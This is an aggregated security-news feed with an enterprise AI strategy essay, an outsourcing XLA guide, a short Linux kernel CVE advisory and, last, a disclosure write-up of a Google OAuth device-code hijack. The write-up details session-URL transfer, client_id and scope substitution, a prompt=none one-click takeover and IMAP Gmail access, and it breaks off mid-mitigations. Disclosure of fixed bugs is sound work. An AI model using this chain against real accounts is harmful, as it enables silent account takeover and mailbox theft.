<p class="wp-block-paragraph">The appeal of vendor-embedded AI is clear: automated operational decisions, smarter supplier and merchandising choices, and friction-free workflows built into the systems enterprises already rely on. The catch is that these capabilities almost universally depend on your data living in the vendor’s cloud environment. For most large enterprises, it sits on-premises, in hyperscale cloud infrastructure they manage themselves, or in private data centers. That gap between where your data is and where your vendor’s AI assumes it should be creates a fundamental strategic fork in the road.</p>



<h2 class="wp-block-heading"><a></a>Build vs. buy is a category error</h2>



<p class="wp-block-paragraph">The framing I keep hearing is “build vs. buy your AI strategy.” It implies that some organizations are out there training foundation models from scratch. Nobody serious is doing that. The real choice sits across three distinct approaches, and conflating them leads to poor decisions:</p>



<ul class="wp-block-list">
<li><strong>Buy embedded. </strong>Use the AI capabilities your vendor ships natively inside their platform: the assistant baked into your ERP, your CRM, your HCM suite. Lowest integration cost, fastest time to value, tightest fit with the application data.</li>



<li><strong>Buy platform.</strong> Adopt the vendor’s AI infrastructure layer and build your own assistants and agents on top of it. More flexible, but you remain inside the vendor’s architectural boundary and subject to their governance model.</li>



<li><strong>Compose.</strong> Connect a third-party model (Claude, GPT, Gemini, an open-weight model running in your own environment) directly to your existing landscape. Maximum control, maximum integration burden, and full responsibility for what comes out the other end.</li>
</ul>



<p class="wp-block-paragraph">These are not equivalent options at different price points. They make different assumptions about where your data lives, who governs the AI, and how much architectural change you’ll absorb to get there. Vendor pitches sometimes blur the distinction on purpose. Enterprise leaders can’t afford to.</p>



<h2 class="wp-block-heading"><a></a>The vendor AI stack has an assumption baked in</h2>



<p class="wp-block-paragraph">Every embedded AI capability ships with an unstated architectural prerequisite: your data must be where the AI can see it, in the shape it expects, under the governance the vendor enforces.</p>



<p class="wp-block-paragraph">For organizations with clean, modern cloud estates, that is often a reasonable trade. For the long tail of large enterprises running heavily customized environments on private or hybrid infrastructure, that trade becomes a precondition, one you must meet before the AI conversation can even begin. Whether meeting it makes sense depends on your starting point, your sector’s regulatory posture, and your appetite for migration risk. None of those are uniform across organizations.</p>



<p class="wp-block-paragraph">That’s the part that gets glossed over in vendor keynotes. The AI demo on stage assumes a destination architecture the audience hasn’t necessarily reached yet. Large enterprise customers are carrying an unusually heavy technology burden right now. Many are simultaneously managing platform modernization programs that have been building for over a decade, alongside pressure to migrate to vendor-managed cloud infrastructure. Sitting above both is a boardroom-level directive to demonstrate meaningful AI progress fast. The vendor path to AI and the boardroom path to AI can diverge sharply, and enterprises need to make selective, strategic decisions about where to adopt AI first to maximize value and minimize risk.</p>



<h2 class="wp-block-heading"><a></a>Sovereignty isn’t a slogan, it’s an architecture constraint</h2>



<p class="wp-block-paragraph">The conversation about sovereignty has been hijacked by both sides. One camp treats every SaaS adoption as a sovereignty violation. The other dismisses every sovereignty concern as Luddite resistance. Neither is useful.</p>



<p class="wp-block-paragraph">What’s happening in real customer conversations – particularly in DACH, public sector, and financial services – is more specific. Organizations are drawing a distinction between running their applications in a vendor’s cloud (which is broadly fine, well understood, decades of precedent) and enriching their data and processes inside a vendor’s AI model (which has less precedent, is harder to reverse, and carries material implications for competitive position).</p>



<p class="wp-block-paragraph">Enriching your data inside a vendor’s AI model is the genuinely new question, and organizations that conflate it with their existing cloud posture tend to defend the wrong perimeter.</p>



<p class="wp-block-paragraph">Despite spending around $100 million annually with Amazon, <a href="https://www.uctoday.com/unified-communications/disney-openai-enterprise-strategy/">Disney built its own internal AI system</a> to house its corporate intelligence rather than rely on a hyperscaler’s AI offering. The decision came down to control. When your data represents decades of creative and commercial IP, you think carefully about where it lives and who can learn from it. Disney has become more open to SaaS over time. The AI sovereignty question is a separate debate from the SaaS debate and conflating the two leads organizations to the wrong conclusions.</p>



<p class="wp-block-paragraph">At the other end of the spectrum, enterprises in heavily regulated environments treat data sovereignty as an absolute non-negotiable. Any AI model must run within their controlled environment, especially where sensitive data cannot touch the public internet.<a href="https://gdpr.eu/what-is-gdpr/"> </a><a href="https://gdpr.eu/what-is-gdpr/">GDPR obligations</a> reinforce this instinct across the European market, requiring organizations to maintain clear accountability for how personal data is processed inside AI systems, including vendor-managed ones.</p>



<p class="wp-block-paragraph">AI-enriched data, meaning models that have learned the shape of your business processes, your supplier negotiations, your customer behavior, carries a different half-life and a different strategic value than the operational data underneath it. That deserves its own architectural decision, separate from your broader cloud strategy.<a></a></p>



<h2 class="wp-block-heading">What this means in practice</h2>



<p class="wp-block-paragraph">Most large enterprise estates will end up with a mix of all three approaches, and where you draw the lines matters more than your overall posture.</p>



<p class="wp-block-paragraph">Embedded AI capabilities are the right answer for in-application productivity: the assistant inside your ERP workflows, the agent inside your procurement or HR suite. That is where vendor embedding genuinely shines, and attempting to compose your own equivalent is typically a poor use of engineering resources.</p>



<p class="wp-block-paragraph">Compose belongs elsewhere: in cross-application orchestration, in custom assistants over operational and observability data, and in agents that need to reach across multiple vendor systems and infrastructure layers in ways no single vendor stack will never natively support. <a href="https://www.mckinsey.com/capabilities/mckinsey-digital/our-insights/the-top-trends-in-tech">Research from McKinsey</a> suggests the most significant near-term productivity gains from enterprise AI will come precisely from these cross-system workflows, rather than from within individual applications. The most interesting enterprise AI work over the next eighteen months lives here, and it doesn’t require waiting for a migration to complete first.</p>



<p class="wp-block-paragraph">That compose path isn’t free, and it’s important to be honest about the costs. Governance, audit trails, and accountability for hallucinated outputs become your problem, not the vendor’s. Prompt drift and evaluation discipline are real engineering costs that never appear in the proof-of-concept. Those costs scale with the complexity of your landscape and the number of systems your agents touch. Budget for them before deployment, not after your first production incident. None of that is a reason to avoid the path. It’s a reason to staff for it, honestly.<a></a></p>



<h2 class="wp-block-heading">The real question</h2>



<p class="wp-block-paragraph">The build-vs-buy frame survives because it gives executives a binary choice along a familiar axis. AI sits somewhere else entirely.</p>



<p class="wp-block-paragraph">The question worth putting on the table at your next architecture review is simpler:</p>



<p class="wp-block-paragraph">Which decisions do we want our vendors’ AI to make, and which do we want to keep on our side of the boundary?</p>



<p class="wp-block-paragraph">Answer that, and the right build/buy/compose mix flows from it. Skip it, and you will end up with the architecture your vendors prefer – which may or may not be the one your business needs.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[How to add XLAs to your outsourcing contract]]></title>
<description><![CDATA[Organizations usually face the same questions concerning XLAs: What should we measure, who owns the data, how should incentives work, and how will this change provider behavior after signature.



There are no easy answers either, but after advising clients in MSP relationships with major provide...]]></description>
<link>https://tsecurity.de/de/3675704/it-nachrichten/how-to-add-xlas-to-your-outsourcing-contract/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675704/it-nachrichten/how-to-add-xlas-to-your-outsourcing-contract/</guid>
<pubDate>Fri, 17 Jul 2026 12:17:06 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Organizations usually face the same questions concerning XLAs: What should we measure, who owns the data, how should incentives work, and how will this change provider behavior after signature.</p>



<p class="wp-block-paragraph">There are no easy answers either, but after advising clients in MSP relationships with major providers, I’ve seen what works and what doesn’t. Successful XLA programs rarely start with massive transformation, nor rely on perfection before adding experience accountability to the contract.</p>



<h2 class="wp-block-heading">Start with the right metrics</h2>



<p class="wp-block-paragraph">The first concern I hear is what to measure. MSPs often steer that discussion toward metrics already in their reporting stack. That’s a trap.</p>



<p class="wp-block-paragraph">Unlike SLAs, which measure operational outputs, XLAs should focus on employee experience and <a href="https://www.cio.com/article/4166168/cios-rethink-its-operating-model-to-deliver-better-business-outcomes.html?utm=hybrid_search">business outcomes</a>. The strongest programs start with three to five high-signal metrics tied to the employee journeys creating the most friction. More than that and the program loses focus before it gains traction.</p>



<p class="wp-block-paragraph">I typically recommend starting with employee satisfaction scores, perceived lost productivity time, repeat incident rates, task completion success, and ease of getting support. Then focus early measurement on common employee experiences like service desk interactions, employee onboarding, application reliability, and device performance.</p>



<p class="wp-block-paragraph">Trying to measure everything is understandable, but it’s also one of the fastest ways to stall an XLA program.</p>



<h2 class="wp-block-heading">Precisely define roles and responsibilities</h2>



<p class="wp-block-paragraph">This is the part of XLA contract design where I spend the most time with clients, and it’s the part that major MSPs are most likely to leave vague if you let them. Accenture and TCS both have mature commercial teams skilled at agreeing to things in principle while avoiding specific accountability in writing. Don’t let that happen here.</p>



<p class="wp-block-paragraph">Employee experience isn’t solely the vendor’s responsibility. It’s genuinely shared, which is a more productive framing than pure vendor accountability, but only if the split is clearly spelled out. This is what I’ve found works in practice.</p>



<p class="wp-block-paragraph"><strong>Customer responsibilities</strong></p>



<ul class="wp-block-list">
<li>Selecting tools and platforms</li>



<li>Managing data infrastructure</li>



<li>Sharing experience data openly with the provider</li>



<li>Supporting internal improvement initiatives that the provider flags</li>
</ul>



<p class="wp-block-paragraph"><strong>Vendor responsibilities</strong></p>



<ul class="wp-block-list">
<li>Running the measurement cadence</li>



<li>Delivering monthly experience reporting</li>



<li>Identifying and surfacing improvement opportunities from the data</li>



<li>Executing operational improvements within agreed timelines</li>
</ul>



<p class="wp-block-paragraph">Without this level of specificity, XLA programs almost always become reporting exercises. The data gets collected, the scorecard gets presented, and nothing actually changes.</p>



<h2 class="wp-block-heading">Build flexible targets</h2>



<p class="wp-block-paragraph">One of the biggest mistakes in <a href="https://www.cio.com/article/4178678/your-outsourcing-contract-needs-xlas-not-just-slas.html?utm=hybrid_search">XLA design</a> is treating experience targets like traditional SLAs,  setting once at contract signing and left unchanged for years. Employee expectations, workforce patterns, and technology environments, after all, evolve constantly. A target that feels ambitious in year one may become meaningless by year three.</p>



<p class="wp-block-paragraph">The strongest XLA contracts include formal reviews every three to six months to recalibrate targets, align with business priorities, and raise expectations as experience improves. This prevents providers from locking in easy wins and coasting. When providers resist review cycles, it’s often a sign they believe the targets can be met on autopilot, a red flag in any XLA program.</p>



<h2 class="wp-block-heading">Use the right scoring method</h2>



<p class="wp-block-paragraph">One overlooked XLA best practice is how experience scores are calculated. Point-in-time scores can be distorted by outages, isolated incidents, or low survey participation, and providers sometimes exploit that volatility.</p>



<p class="wp-block-paragraph">I advise clients to calculate official XLA scores using rolling two-month averages instead of snapshots. It creates a more stable and accurate view of experience trends, and makes operational timing games much harder. Most importantly, define the scoring methodology explicitly in the contract. Don’t leave it to be worked out operationally after signing.</p>



<h2 class="wp-block-heading">Structure incentives carefully</h2>



<p class="wp-block-paragraph">Relying on penalty-only incentives is one of the most expensive XLA mistakes. On paper, the model is simple: miss the target, pay the penalty. In practice, it drives the wrong behavior. Providers focus on protecting themselves instead of improving employee experience, optimizing survey timing, and managing averages rather than solving problems collaboratively.</p>



<p class="wp-block-paragraph">I’ve seen this repeatedly in Infosys, HCL, and TCS relationships. The strongest XLA structures combine risk and reward where providers earn meaningful upside for exceeding targets, innovating, and improving outcomes. Penalties still matter, especially in mature programs, but they can’t be the only lever otherwise the contract becomes another SLA model with better branding.</p>



<h2 class="wp-block-heading">Define escalation processes</h2>



<p class="wp-block-paragraph">When experience scores fall below threshold, the contract needs to specify what happens next. This sounds obvious, but I’ve reviewed many service delivery measurement frameworks in clients’ incumbent MPS contracts that specify financial consequences without defining any collaborative process to address the underlying problem.</p>



<p class="wp-block-paragraph">The escalation language I push clients to include specifies:</p>



<ul class="wp-block-list">
<li>a joint review process triggered when scores fall below threshold.</li>



<li>root cause analysis expectations and timelines.</li>



<li>remediation planning requirements with named owners on both sides.</li>



<li>timelines for corrective action and progress reporting.</li>
</ul>



<p class="wp-block-paragraph">The framing matters as much as the mechanics. Escalation should be positioned as collaborative problem-solving, not blame assignment. Contracts that turn every missed score into a commercial dispute damage the relationship when provider engagement matters most. The best MSPs treat escalation as a shared diagnostic exercise, not a contractual confrontation.</p>



<h2 class="wp-block-heading">Establish an operating rhythm</h2>



<p class="wp-block-paragraph">Signing the contract is the beginning, not the end. In my experience, the organizations that get the most out of XLA programs are those that build a disciplined operating cadence and stick to it. The ones that treat XLAs as a reporting exercise almost never see meaningful improvement.</p>



<p class="wp-block-paragraph">This is the cadence I recommend:</p>



<p class="wp-block-paragraph"><strong>Daily</strong>: Both parties maintain live dashboards showing experience trends, application performance, regional issues, and persona-specific insights to catch emerging issues.</p>



<p class="wp-block-paragraph"><strong>Weekly</strong>: Customer and vendor teams hold focused working sessions to determine what improved experience this week, what hurt it, which remediation actions were completed, and what’s the priority for next week.</p>



<p class="wp-block-paragraph"><strong>Monthly</strong>: Formal governance meetings to review experience scores, improvement actions, root cause discussions, and cross-functional issues that need escalation.</p>



<p class="wp-block-paragraph"><strong>Biannually</strong>: Leadership steering meetings to assess overall experience performance, recalibrate targets, and align the XLA program with evolving business priorities to honestly evaluate whether or not the program is driving the outcomes the organization actually cares about.</p>



<h2 class="wp-block-heading">Common mistakes organizations make</h2>



<p class="wp-block-paragraph">After working through XLA design and implementation with clients across their MSP relationships, the failure modes are predictable. Here’s what to watch for.</p>



<p class="wp-block-paragraph"><strong>Setting targets before establishing a baseline<br></strong>Rushing into targets before understanding your current state is one of the fastest ways to create disputes. Spend the first three to six months gathering baseline data, then negotiate targets based on evidence rather than guesswork.</p>



<p class="wp-block-paragraph"><strong>Measuring too much<br></strong>More metrics don’t create more insight. Frameworks with 20 data points rarely survive operational reality. Start focused and expand gradually.</p>



<p class="wp-block-paragraph"><strong>Hiding the data<br></strong>Transparency is foundational to XLAs. Providers who obscure poor scores, especially when controlling the measurement platform, undermine the entire model. Clients who weaponize the data create the same problem. Build mutual transparency obligations into the contract.</p>



<p class="wp-block-paragraph"><strong>Over-relying on penalties<br></strong>Penalty-only structures recreate legacy SLA behaviors. Balanced incentives drive better long-term outcomes.</p>



<p class="wp-block-paragraph"><strong>Treating XLAs as static<br></strong>Employee expectations, technology, and business priorities evolve constantly. Without formal review cycles, XLA programs quickly become irrelevant<strong>.</strong></p>



<h2 class="wp-block-heading">Start smaller than you think you need to</h2>



<p class="wp-block-paragraph">The organizations that get XLAs right are rarely the ones with the most sophisticated tooling. They’re the ones that stopped waiting for a perfect program and introduced real accountability into the contract with what they had.</p>



<p class="wp-block-paragraph">The most effective starting points are often simple: agree on a focused set of experience metrics, establish a six-month review cycle, commit to shared visibility and data transparency, and create joint accountability for continuous improvement.</p>



<p class="wp-block-paragraph">From there, maturity develops over time. Governance builds trust, data becomes more actionable, and targets evolve alongside business priorities. The relationship shifts from compliance management to outcome-driven partnership.</p>



<p class="wp-block-paragraph">In my experience, the organizations that succeed are the ones that stopped accepting green scorecards at face value and demanded something more meaningful.</p>
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<title><![CDATA[CVE-2022-3564 | Linux Kernel Bluetooth l2cap_core.c l2cap_reassemble_sdu use after free (EUVD-2022-42928 / Nessus ID 236648)]]></title>
<description><![CDATA[A vulnerability categorized as critical has been discovered in Linux Kernel. The impacted element is the function l2cap_reassemble_sdu of the file net/bluetooth/l2cap_core.c of the component Bluetooth. The manipulation results in use after free.

This vulnerability is identified as CVE-2022-3564....]]></description>
<link>https://tsecurity.de/de/3675458/sicherheitsluecken/cve-2022-3564-linux-kernel-bluetooth-l2capcorec-l2capreassemblesdu-use-after-free-euvd-2022-42928-nessus-id-236648/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675458/sicherheitsluecken/cve-2022-3564-linux-kernel-bluetooth-l2capcorec-l2capreassemblesdu-use-after-free-euvd-2022-42928-nessus-id-236648/</guid>
<pubDate>Fri, 17 Jul 2026 10:24:26 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">critical</a> has been discovered in <a href="https://vuldb.com/product/linux:kernel">Linux Kernel</a>. The impacted element is the function <code>l2cap_reassemble_sdu</code> of the file <em>net/bluetooth/l2cap_core.c</em> of the component <em>Bluetooth</em>. The manipulation results in use after free.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2022-3564">CVE-2022-3564</a>. The attack can only be performed from the local network. There is not any exploit available.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking]]></title>
<description><![CDATA[TL;DRThis one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.Two bugs stack together. First, ...]]></description>
<link>https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:37 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>TL;DR</h3><p>This one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.</p><p>Two bugs stack together. First, the session that anchors a device-code sign-in is fully transferable: copy the sign-in URL from one browser to another and the second browser’s login satisfies the first device’s poll. Second, the authorization server never binds client_id and scope to the device_code server-side, so both can be swapped in the URL after the fact. Chain the two together with the prompt=none parameter and any link, opened by a victim who has ever used "Sign in with Google" anywhere, silently hands over an access token for an arbitrary Google-registered client, no click, no consent screen, no 2FA prompt, almost no trace in the victim's account activity.</p><p>Reported to Google’s VRP on Feb 25, 2026, initially closed twice as “won’t fix”: social engineering, reopened after a one-click PoC, fixed by Mar 28, 2026, and rewarded $13,337. Details on that back-and-forth are in the <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html#9-disclosure-timeline">disclosure timeline</a> below.</p><h3>1. Intro</h3><p>Most of the well-known attacks on OAuth go after the client or the resource server: a malicious app, an open redirect, a signing-algorithm mix-up. They leave the authorization server itself alone, because it’s the one party in the protocol that’s supposed to be unshakeable, the thing every other trust decision is anchored to. This is a story about going after that assumption directly, in the one corner of OAuth that’s explicitly designed to let the login happen on a completely different screen: the device authorization grant.</p><p>It started as a mundane afternoon setting up a TV app on a game console, and it ended with a way to silently take over accounts on virtually any site that offers “Sign in with Google.” Getting from one to the other took two separate findings stacked on top of each other, a rejected report, and a fix to the fix. What follows is that story, roughly in the order it actually happened, blockers included.</p><h3>2. The Device Authorization Grant</h3><p>Most OAuth flows assume the device asking for access has a browser sitting right there to redirect through. RFC 8628 exists for the case where it doesn’t: a smart TV, a games console, a headless CLI. The shape is different from the usual redirect dance:</p><ol><li>The device calls the authorization server directly (POST /device/code) and gets back a device_code (secret, stays on the device) and a user_code (short, shown on screen).</li><li>The device displays the user_code and tells the user to go to a URL, google.com/device in Google's case, on <em>any other</em> browser.</li><li>The user opens that URL on their phone or laptop, types the code, signs in, and consents.</li><li>Meanwhile the device has been polling POST /token with its device_code. Once the user finishes step 3, the next poll returns an access token.</li></ol><p>The whole point of the design is that the device and the browser doing the authenticating can be, and usually are, two completely different pieces of hardware. That’s also exactly what makes this flow interesting to attack: the protocol <em>already</em> expects the login to happen somewhere else. The only thing holding the model together is that the “somewhere else” has to be a browser <em>the legitimate device owner</em> is sitting at.</p><p>That’s the assumption. The rest of this write-up is what happened when I went looking for the place where Google’s implementation stops enforcing it.</p><h3>3. Setting Up YouTube TV on a PS5</h3><p>I was setting up the YouTube app on my PS5, ordinary first-run setup. The console has no keyboard and no way to type a password comfortably with a controller, so it does the sensible thing: it shows a short user_code on screen and tells you to go sign in on your phone instead. I typed the code into google.com/device, signed into Google, approved the consent screen, and a few seconds later the PS5 was logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qmQssZXzIn_0kJeh.png"><figcaption><em>The YouTube TV “Add your Google Account” screen: a QR code and a short user_code, with instructions to finish sign-in on a phone.</em></figcaption></figure><p>Nothing about that felt unusual as a user, but the flow itself was intriguing: a screen with no keyboard asking me to authenticate on a completely separate device, and coming back logged in seconds later. That disconnect between where I typed my password and where the session actually landed is what made me want to look at it more closely. Behind the scenes, that’s:</p><ul><li>POST https://oauth2.googleapis.com/device/code → device_code + user_code.</li><li>The PS5 polling POST https://oauth2.googleapis.com/token with that device_code.</li><li>My phone’s browser walking through https://accounts.google.com/o/oauth2/v2/auth?… to finalize consent once I typed the code and signed in.</li><li>The PS5’s next poll returning an access token.</li></ul><p>Standard, boring, RFC-compliant. The interesting part is what that accounts.google.com/o/oauth2/v2/auth URL is actually carrying, and what happens if you don't treat it as disposable. That question is exactly what kicked off everything that follows.</p><h3>4. The Transferable Session</h3><p>The obvious question with any flow where “the state lives in a URL” is: what happens if you just move the URL? If the entire sign-in step for a device_code can be handed to someone else, then whoever finishes that sign-in step ends up logged into <em>my</em> device, not theirs.</p><p>RFC 8628 §5.4 anticipates exactly this and tells implementers not to let it happen: the whole security model of the flow depends on the user completing verification on a device they’re <em>not</em> about to lose control of.</p><p>I started a fresh device flow on the PS5, walked through google.com/device on a laptop, and at the consent screen copied the resulting URL into a second browser. That failed outright: no session for the second browser to pick up.</p><p>But the device-code page asks for an email address <em>before</em> showing consent. Entering one forwards the browser to a different endpoint entirely: a <em>challenge</em> page at accounts.google.com/v3/signin/challenge/…, carrying a new parameter, TL=APouJz6T…. Sending <em>that</em> URL to a second browser worked. The second browser prompted a completely normal Google sign-in. Seconds after logging in, that account showed up on the PS5.</p><p>TL is an encrypted blob carrying the session state, practically certain to be the device_code, or something that resolves to it, given that it's the only thing left in the URL that could anchor the poll back to a specific device.</p><p><strong>Vulnerability #1: the device-code sign-in session is transferable via URL.</strong> RFC 8628 explicitly says it shouldn’t be. Send the link, get the account.</p><p>That’s a real account takeover, but a narrow one. YouTube TV’s scopes are capped by design, and that cap is the wall I hit next.</p><h3>5. Breaking the Scope Fence</h3><p>A YouTube TV account takeover is real, but Google fences the device flow to a short, deliberately low-risk scope allowlist. Per <a href="https://developers.google.com/identity/protocols/oauth2/limited-input-device">Google’s own docs</a>: <em>“This OAuth 2.0 flow supports a limited set of scopes.”</em> The complete list:</p><ul><li>openid, email, profile</li><li>youtube, youtube.readonly</li><li>drive.appdata, drive.file (app-scoped Drive only, not full Drive)</li></ul><p>No Gmail, no full Drive, no cloud-platform, no compute. The access token I got only worked against a YouTube TV–internal API: enough to like a video or subscribe to a channel. Not exactly a headline bug.</p><p>So I looked again at the transferable challenge URL:</p><pre>accounts.google.com/v3/signin/challenge/…<br>  ?TL=APouJz6T…              &lt;- encrypted session state<br>  &amp;response_type=none<br>  &amp;client_id=861556708454-…   &lt;- YouTube TV<br>  &amp;scope=…                    &lt;- YouTube scopes</pre><p>Two things stand out. response_type=none means this isn't a normal code/token redirect: there's nothing coming back to a callback at all. And there is <strong>no </strong><strong>redirect_uri anywhere in the URL</strong>. The entire boundary that OAuth normally relies on to pin where a grant goes is simply absent from this endpoint, because the grant never gets delivered through the browser; it gets delivered out-of-band, over the device's /token poll.</p><p>The only thing anchoring the session is TL. client_id and scope are just along for the ride in the query string. So: keep TL, swap client_id for a different application, and see which client the authorization server ends up authenticating.</p><p>I scripted the device-code issuance, took the resulting URL, and changed client_id from YouTube TV to Google's own <strong>Cloud SDK</strong> client, with scope changed to cloud-platform, compute, appengine.admin. The consent screen that came back said <strong>Google Cloud SDK</strong>, listing the elevated scopes. Approving it, my polling script, still polling with the <em>original</em> YouTube TV device_code, got back a token on its next call. Inspecting it: cloud-platform, compute, appengine.admin. Not YouTube.</p><p><strong>Vulnerability #2: the server never validates that the </strong><strong>client_id and </strong><strong>scope in the authorization URL match what the </strong><strong>device_code was actually issued for.</strong></p><p>Combined with vulnerability #1, the authorization server ends up issuing tokens under one client’s identity (Google Cloud SDK, or any other Google-registered client, first- or third-party) for a session that started under a completely different one (YouTube TV). redirect_uri isn't just weakly validated here: it's not present at all, because the grant never travels through a redirect in this flow to begin with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*4UwF2sE4BZuwRTMM9aJo9w.gif"><figcaption><em>PoC: device-code hijack escalated from YouTube TV to Google Cloud SDK scopes</em></figcaption></figure><p>The escalation chain worked end to end, at least on paper. Only one step was left: telling Google about it, and finding out whether they’d agree it was a bug at all.</p><h3>6. From Consent Screen to One Click</h3><p>I filed this as a report. It came back rejected the next day, citing user interaction: the victim “consented.” Fair, in a narrow sense: the consent screen is genuinely rendered by Google, the click is a genuine click. But the <em>thing being consented to</em> was shaped entirely by parameter substitution in a link I built, and from the victim’s side there is nothing to notice that’s different from any other Google sign-in. Still, “user interaction” was the stated bar, so the next step was removing it.</p><p>OAuth has a prompt parameter for exactly the case of skipping the consent screen: set to none, it tells the authorization server not to show any UI if the user has already granted the requested scopes to that client before. It's meant to be narrow, restricted to low-risk scopes like openid, email, profile, and gated on prior consent.</p><p>In practice it isn’t narrow at all. “Sign in with Google” is everywhere, and most people have already granted openid email profile to dozens, sometimes hundreds, of apps over the years without ever thinking about it again.</p><p>Take the weaponized device-code URL, drop in Facebook’s client_id (any site using "Sign in with Google" works the same way), set scope=openid email profile, add prompt=none. The victim opens the link, and that's the only action required: no consent screen, no button to press. The browser silently completes the flow in the background, the polling script receives an id_token for that third-party application, and that token replays cleanly against the app's own "Sign in with Google" endpoint.</p><p><strong>One link. Opening it is the only interaction required. Account takeover on virtually any application that uses Sign in with Google.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*hHiWXmNkC5aWkKKDsmLD9w.gif"><figcaption><em>PoC: prompt=none one-click bypass against a third-party client</em></figcaption></figure><p>The technical bypass was solid. What I didn’t know yet was whether any of it would actually be visible, to the victim or to Google’s own monitoring, if it were used for real.</p><h3>7. Why the Victim Never Notices</h3><p>The natural follow-up: surely <em>something</em> surfaces to the victim: a login alert, a new entry under connected apps, a 2FA prompt? It doesn’t, and that’s not incidental. Every signal that would normally catch this gets routed around by the shape of the device-code flow itself.</p><p><strong>Audit trail pollution.</strong> myaccount.google.com/connections shows the <em>original</em> client bound to the device_code, YouTube TV, never the substituted application. To find any trace of the attack, a victim would have to open the connections page, scroll to find "YouTube TV" among however many connected apps they have, click into it, click "see details" to expand the granted scopes, and then recognize that YouTube TV requesting cloud-platform / compute / appengine.admin is not normal. Five deliberate steps and a piece of domain knowledge very few people have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Nq78jsm8FNLJ6QFG.png"><figcaption><em>The “YouTube on TV” connections entry, expanded: Gmail read/compose/send/delete, Cloud SQL, App Engine, and Compute Engine, all under a client that’s supposed to only need YouTube scopes</em></figcaption></figure><p><strong>Implicit 2FA bypass.</strong> The victim goes through a completely ordinary Google sign-in, which already satisfies any 2FA they have configured. The token handoff to the attacker happens afterward, over the device poll, with no further prompt of any kind. The actual high-risk action, an OAuth grant under an arbitrary client’s identity, never trips a high-risk challenge, because as far as the authentication layer is concerned, nothing risky happened; a user just logged in normally.</p><p>Stealth, solved. The remaining question was reach: how far the same substitution trick could be pushed past YouTube TV’s own scopes.</p><h3>8. Extending the Primitive</h3><p>Stealth is one axis; reach is the other. The same client_id/scope substitution keeps paying out against different corners of the Google ecosystem.</p><p><strong>Persistent access via </strong><strong>accounts.reauth.</strong> Add that scope to the substitution and the resulting grant can refresh indefinitely, with no further victim interaction required: a shoot-and-forget backdoor rather than a one-time token.</p><p><strong>A Gmail backdoor via IMAP, not the REST API.</strong> Substituting a client_id that's allowed to request https://mail.google.com (Apple's iOS Mail client, for instance) gets a token scoped to full Gmail access. Hitting the Gmail REST API with it fails: <em>"Gmail API has not been used in project 861556708454 before or it is disabled."</em> That project ID belongs to YouTube TV, and the original device-code client never had the Gmail API enabled. That's a project-level gate, not a token-level one, so it's worth checking whether there's another door into the same mailbox. Gmail's IMAP server supports OAuth via the <strong>XOAUTH2</strong> SASL mechanism, using the exact same https://mail.google.com/ scope but going through imap.gmail.com:993 instead of the REST API's project-gated surface. It accepts the token without issue. Full inbox access, with the same token the REST API had just rejected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k7pQv3pDxP21l5DQ.png"><figcaption><em>Successful IMAP XOAUTH2 authentication over the substituted token, listing real Gmail folders and recent inbox messages</em></figcaption></figure><p>End to end: a transferable session, plus unvalidated client_id/scope binding, plus prompt=none, equals a link that's invisible to the person who opens it and ends in a fully compromised account, Gmail included.</p><p>Chain complete: transferable session, unbound client_id/scope, prompt=none, silent to the victim, and a Gmail backdoor at the end of it. Time to see what Google's VRP panel made of all that.</p><h3>9. Disclosure Timeline</h3><p><strong>Feb 25, 2026</strong> Report filed with Google VRP<br><strong>Mar 2, 2026</strong> Closed: Won’t Fix (Intended Behavior), citing “social engineering”<br><strong>Mar 2, 2026</strong> Pushed back same day<br><strong>Mar 3, 2026</strong> Reopened, then closed again: Won’t Fix (Infeasible)<br><strong>Mar 3, 2026</strong> Countered with a prompt=none one-click PoC against Facebook’s client_id<br><strong>Mar 4, 2026</strong> Reopened a second time and accepted; bug filed with the product team<br><strong>Mar 28, 2026</strong> Marked fixed<br><strong>Apr 2, 2026</strong> Rewarded $13,337</p><p>The two rejections both leaned on the same argument: that tricking a user into approving an OAuth prompt is a social-engineering problem, not a vulnerability in Google’s implementation. That didn’t hold up on either pass. The first rejection ignored that this is the exact sign-in flow every Google user already knows, on accounts.google.com, arriving at an app that has no business holding cloud-platform or appengine.admin scopes doing exactly that. The second treated it as equivalent to installing a malicious OAuth app, which the prompt=none PoC against Facebook's client_id directly disproved: there was no prompt to approve, and no app to install; the victim only had to open a link.</p><h3>10. Mitigations</h3><p>For a flow that’s explicitly designed to hand sign-in off to a second device, the fix has to happen server-side, since there’s nothing meaningful a client application can check on its own:</p><ol><li>Keep user_code, device_code, and any session reference that resolves to them out of URLs entirely. If a session can't be copied into a different browser, it can't be handed to a 